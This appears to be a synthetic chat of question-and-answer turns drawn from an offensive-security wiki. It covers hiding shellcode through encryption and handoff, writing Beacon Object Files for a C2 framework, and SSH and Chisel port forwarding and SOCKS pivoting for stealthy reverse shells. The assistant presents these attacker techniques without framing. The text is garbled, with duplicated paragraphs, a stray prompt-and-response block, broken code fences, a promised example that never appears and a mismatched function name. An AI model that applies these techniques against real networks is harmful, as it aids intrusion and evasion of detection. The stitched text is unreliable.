[User] How does 🛠 Process injection - Theory work?

[Assistant]
Instead of simply executing the shellcode, it has become common to find tricks to hide its active load. The classic schema looks like this:

``
// encrypt the shellcode
 encrypt(ciphered, SHELLCODE, SHELLCODE_LENGTH, KEY);
// decrypt + handoff
 decrypt(deciphered, ciphered, SHELLCODE_LENGTH, KEY);
 handoff(deciphered, SHELLCODE_LENGTH);

[User] What is 🛠 Stealth with C2 - How to write BoF (Beacon Object File)?

[Assistant]
For example, if you need the RegCloseKey function.

Look at the Windows documentation (in our example https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey) to get the list of the arguments.

In our case :

``c
LSTATUS RegCloseKey(
 [in] HKEY hKey
);
`

Then, get the name of the library used (at the bottom of the page) in our case it is : Advapi32.lib

We have to structure it like this : DECLSPEC_IMPORT LSTATUS WINAPI $();

Still in our case, we will get this: DECLSPEC_IMPORT LSTATUS WINAPI ADVAPI32$RegCloseKey(HKEY);

Simply use the function like this in our code: ADVAPI32$RegCloseKeyA(hKey);

> [!TIP]
> In addition, to use these functions download the library "beacon.h" available here.

It is also possible to load a library and then call the method using methods like GetProcAddress or LoadLibraryA.`

Below is an example of how to use this approach:

[User] What should I know about 🛠 Port forwarding - Theory?

[Assistant]
Port forwarding is a pivoting technique that allows network packets to be relayed from a port to another. The tunnel can be setup between two controlled and connected machines, hence allowing a bridge between a network and another. That concept is similar to PAT (Port Address Translation), an extension of NAT (Network Address Translation) that allows multiple devices on a LAN to be mapped to a single public IP address by assigning addresses to ports numbers.

This technique is useful when an attacker wants to stay under the radar or when access to a service is limited to a specific network.

[Assistant]
There are multiple types of port forwarding used during penetration testing engagements.

* Local port forwarding: access a port that only a remote machine can communicate with (e.g. "firewalled" network, internal localhost network).
* Remote port forwarding: access an attacker's service (from the attacker's machine's networks) from a remote workstation that can't access those networks directly.
* Dynamic port forwarding: tunnel the whole attacker's network traffic (instead of only one port) through a remote machine. Explained in SOCKS proxy.
* Reverse dynamic port forwarding: tunnel the whole network traffic from a remote machine through the attacker's machine. Explained in SOCKS proxy.

SSH commands

One of the most easy is by relying on SSH however, it requires to have an SSH server running on the controlled machine and a valid account. The tester needs to open an SSH connection to the machine that should be turned into a SOCKS proxy, and supply

* the -L option for a local port forwarding, along with the ports and addresses to bind
* the -R option for a remote port forwarding, along with the ports and addresses to bind

The command can also be used with -N option to make sure no command gets executed after the SSH session is opened.

Port forwarding can be set up in many different ways.

::: tabs

=== SSH

SSH commands

One of the most easy is by relying on SSH however, it requires to have an SSH server running on the controlled machine and a valid account. The tester needs to open an SSH connection to the machine that should be turned into a SOCKS proxy, and supply

* the -L option for a local port forwarding, along with the ports and addresses to bind
* the -R option for a remote port forwarding, along with the ports and addresses to bind

The command can also be used with -N option to make sure no command gets executed after the SSH session is opened.

This setup allows the attackers to connect to the workstation web-service on port 80/TCP by targeting port 1111/TCP on his own machine. His machine will forward the communication to pivot1's port 2222/TCP. Pivot1 will forward to pivot2's 3333/TCP. Pivot2 will forward to workstation's 80/TCP.

[User] How does 🛠 Port forwarding - Chained remote port forwarding work?

[Assistant]
In the following example (real-world badly secured network), let's assume the remote attacker wants a target workstation to connect back to him with a reverse shell, and that the attackers controls multiple machines that can bridge the multiple networks at play. There are multiple scenarios where using a combination of remote port forwarding would be interesting or even required.

* the attacker wants to stay stealthy by using multiple specific hops to make the traffic legitimate-looking (workstation communicates with an internal server, an internal server communicates with a DMZed server, a DMZed server communicates with a remote client)
* the target workstation doesn't have access to the remote attacker's network (i.e. to the Internet)

![](<./assets/Chained remote port forwarding diagram.png>)

![](<./assets/Chained remote port forwarding commands.png>)

This setup allows the target workstation to communicate with the attacker's port 1111/TCP by targeting pivot2 on port 3333/TCP. Pivot2 will forward the communication to pivot1's port 2222/TCP which will itself forward to attacker's port 1111/TCP.

This setup allows the target workstation to communicate with the attacker's port 1111/TCP by targeting pivot2 on port 3333/TCP. Pivot2 will forward the communication to pivot1's port 2222/TCP which will itself forward to attacker's port 1111/TCP.

Show me how to do 🛠 Port forwarding - Chained remote port forwarding

Response:
In the following example (real-world badly secured network), let's assume the remote attacker wants a target workstation to connect back to him with a reverse shell, and that the attackers controls multiple machines that can bridge the multiple networks at play. There are multiple scenarios where using a combination of remote port forwarding would be interesting or even required.

* the attacker wants to stay stealthy by using multiple specific hops to make the traffic legitimate-looking (workstation communicates with an internal server, an internal server communicates with a DMZed server, a DMZed server communicates with a remote client)
* the target workstation doesn't have access to the remote attacker's network (i.e. to the Internet)

[User] Tell me about 🛠 SOCKS proxy - Theory

[Assistant]
SOCKS (SOCKet Secure) is a network protocol that allows users to route network traffic to a server on a client's behalf. SOCKS is between the application and the transport layer of the OSI model.

This is especially useful for penetration testing engagements where a target is hiding behind one or multiple firewalls. A compromised server connected to two networks can be used as a SOCKS proxy server to pivot from a network to another.

In short, a SOCKS proxy can relay TCP and UDP connections and hence help bypass network segmentation. It's sort a dynamic port forwarding technique.

[User] What is 🛠 SOCKS proxy - Practice?

[Assistant]
There are two types of dynamic port forwarding used during penetration testing engagements.

* Dynamic port forwarding: tunnel the whole attacker's network traffic (instead of only one port) through a remote machine.
* Reverse dynamic port forwarding: tunnel the whole network traffic from a remote machine through the attacker's machine.

[User] Tell me about 🛠 SOCKS proxy - Basic server setup

[Assistant]
> [!TIP]
> While setting up port forwarding, it's important to remember that non-admin users can only open ports above 1024.

In practice, there are many ways to turn a controlled machine into a SOCKS proxy server.

::: tabs

=== SSH commands

One of the most easy is by relying on SSH, however, it requires to have an SSH server running on the controlled machine and a valid account. The tester needs to open an SSH connection to the machine that should be turned into a SOCKS proxy, and supply the -D option along with the port to use for tunneling. The command can also be used with -N option to make sure no command gets executed after the SSH session is opened.

``bash
ssh -N -D $PORT $CONTROLLED_TARGET
`

Once the ssh command exits successful (or once a session opens) the tester can then proceed to the usage part.

A reverse dynamic port forwarding can be also put in place to tunnel a machine's traffic through the attacker machine. It is implemented entirely in the client (i.e. the server does not need to be updated) (since OpenSSH 7.6).

`bash
ssh -N -R $PORT $CONTROLLED_TARGET
`

=== Chisel

Chisel is a standalone binary for pivoting on Linux and Windows systems.

Working on a server/client, the binary simply needs to be uploaded on the victim host and executed as server on the attacker machine.
